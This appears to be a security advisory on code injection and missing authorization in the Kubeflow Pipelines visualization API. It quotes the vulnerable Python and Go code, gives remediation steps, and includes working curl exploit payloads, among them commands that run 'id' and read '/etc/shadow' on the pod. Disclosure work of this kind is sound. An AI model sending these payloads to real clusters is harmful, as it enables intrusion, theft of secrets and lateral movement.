01-kubeflow-visualization-rce.md

# Arbitrary Code Execution via Visualization API in Kubeflow Pipelines

## Target
**Repository:** kubeflow/pipelines
**Component:** Visualization Server (Python backend) + API Server (Go gRPC gateway)
**Severity:** CRITICAL (CVSS ~9.8)
**CWE:** CWE-94 (Improper Control of Generation of Code / Code Injection)

## Summary

The Kubeflow Pipelines visualization API allows any authenticated user (or any user in single-user mode) to execute arbitrary Python code on the visualization service pod via two independent attack vectors:

1. **Direct code execution via CUSTOM visualization type** -- The `arguments.code` field is executed directly in a Jupyter kernel with zero sanitization.
2. **Python code injection via the `source` parameter** -- The source string is interpolated into a Python code cell using unsanitized `str.format()`, allowing breakout from the string literal.

Neither vector requires the `ALLOW_CUSTOM_VISUALIZATIONS` flag to be enabled, as this flag only controls frontend UI display and is NOT enforced server-side.

## Vulnerable Code

### Vector 1: Direct Code Execution via Custom Visualization Type

**File:** `backend/src/apiserver/visualization/server.py`, lines 109-111

```python
if visualization_type == "custom":
    code = arguments.get("code", [])
    nb.cells.append(exporter.create_cell_from_custom_code(code))
```

**File:** `backend/src/apiserver/visualization/exporter.py`, lines 76-88

```python
def create_cell_from_custom_code(code: list) -> NotebookNode:
    cell = new_code_cell("\n".join(code))
    cell.get("metadata")["hide_logging"] = False
    return cell
```

**File:** `backend/src/apiserver/visualization/exporter.py`, line 162

```python
self.ep.preprocess(nb, {"metadata": {"path": Path.cwd()}}, self.km)
```

The `ExecutePreprocessor.preprocess()` call executes all notebook cells in a live Jupyter kernel. The `code` list from the user's `arguments` JSON is joined with newlines and executed as-is.

### Vector 2: Python Code Injection via Source Parameter

**File:** `backend/src/apiserver/visualization/server.py`, line 108

```python
nb.cells.append(new_code_cell('source = "{}"'.format(source)))
```

The `source` parameter is interpolated directly into a Python code string using `str.format()` without escaping. This allows breaking out of the string literal to inject arbitrary Python code.

### Missing Server-Side Authorization

**File:** `backend/src/apiserver/server/visualization_server.go`, lines 48-69

```go
func (s *VisualizationServer) CreateVisualizationV1(ctx context.Context, request *go_client.CreateVisualizationRequest) (*go_client.Visualization, error) {
    if err := s.validateCreateVisualizationRequest(request); err != nil {
        return nil, err
    }
    // Authorization ONLY checked in multi-user mode AND only when namespace is non-empty
    if common.IsMultiUserMode() && len(request.Namespace) > 0 {
        // ... RBAC check ...
    }
    // Falls through to execute visualization with NO auth check in:
    // 1. Single-user mode (default deployment)
    // 2. Multi-user mode with empty namespace
    body, err := s.generateVisualizationFromRequest(request)
```

The `ALLOW_CUSTOM_VISUALIZATIONS` environment variable (default: `false`) is only checked by the frontend UI to decide whether to show the "Custom" option in the dropdown. The backend API does NOT enforce it.

## Exploitation

### Vector 1: RCE via Custom Visualization (any user, single-user mode)

```bash
# Direct API call to the KFP API server
curl -X POST "http://<KFP_HOST>/apis/v1beta1/visualizations/" \
  -H "Content-Type: application/json" \
  -d '{
    "visualization": {
      "type": "CUSTOM",
      "source": "",
      "arguments": "{\"code\": [\"import subprocess\", \"result = subprocess.check_output([\\\"id\\\"])\", \"print(result.decode())\"]}"
    }
  }'
```

This executes `id` (or any arbitrary command) on the visualization service pod and returns the output in the HTML response.

### Vector 2: RCE via Source Injection (works even for non-CUSTOM types)

```bash
curl -X POST "http://<KFP_HOST>/apis/v1beta1/visualizations/" \
  -H "Content-Type: application/json" \
  -d '{
    "visualization": {
      "type": "TABLE",
      "source": "\"; __import__(\"os\").system(\"id\"); x=\"",
      "arguments": "{}"
    }
  }'
```

The Python code cell becomes:
```python
source = ""; __import__("os").system("id"); x=""
```

### Vector 3: Direct access to Python visualization server (network-adjacent)

The Python visualization server on port 8888 has NO authentication at all:

```bash
# Direct POST to the visualization service (within the k8s cluster)
curl -X POST "http://ml-pipeline-visualizationserver:8888/" \
  -d "type=custom&arguments={\"code\":[\"import os\",\"os.system('cat /etc/shadow')\"]}"
```

## Impact

- **Remote Code Execution** on the visualization service pod
- In single-user mode (default), **no authentication is required** to access the API
- In multi-user mode, the authorization check can be **bypassed by sending an empty namespace**
- The `ALLOW_CUSTOM_VISUALIZATIONS=false` setting provides **no protection** as it is only a frontend cosmetic flag
- Can be used to:
  - Read secrets and service account tokens from the pod
  - Pivot to other services within the Kubernetes cluster
  - Access artifact storage credentials
  - Potentially escalate privileges via the pod's service account

## Root Cause

1. The visualization server was designed to execute arbitrary notebook code by design (for the "custom" visualization feature), but this capability was left accessible through the API even when the UI hides it.
2. The `source` parameter is unsafely interpolated into executable Python code.
3. The `ALLOW_CUSTOM_VISUALIZATIONS` flag is a frontend-only UI toggle with no server-side enforcement.
4. Authorization in single-user mode is entirely absent.

## Remediation

1. **Enforce `ALLOW_CUSTOM_VISUALIZATIONS` server-side** in `visualization_server.go` by rejecting CUSTOM type requests when the flag is false.
2. **Sanitize the `source` parameter** in `server.py` using `repr()` instead of `str.format()`:
   ```python
   nb.cells.append(new_code_cell('source = {}'.format(repr(source))))
   ```
3. **Add authorization checks** for all visualization requests, not just multi-user mode with non-empty namespace.
4. **Sandbox the Jupyter kernel** execution environment or consider removing the custom code execution feature entirely.
5. **Add network policies** to restrict access to the visualization server pod.

## Affected Versions

All versions of Kubeflow Pipelines that include the visualization server component. The vulnerability exists in the current main branch as of March 2026.

## Files

- `backend/src/apiserver/visualization/server.py` (lines 108-114) -- Code injection and custom code execution
- `backend/src/apiserver/visualization/exporter.py` (lines 76-88, 162) -- Notebook code execution
- `backend/src/apiserver/server/visualization_server.go` (lines 48-69) -- Missing authorization enforcement
- `backend/api/v1beta1/visualization.proto` (line 84) -- CUSTOM type definition in API
- `frontend/server/configs.ts` (line 85) -- ALLOW_CUSTOM_VISUALIZATIONS default false (frontend-only)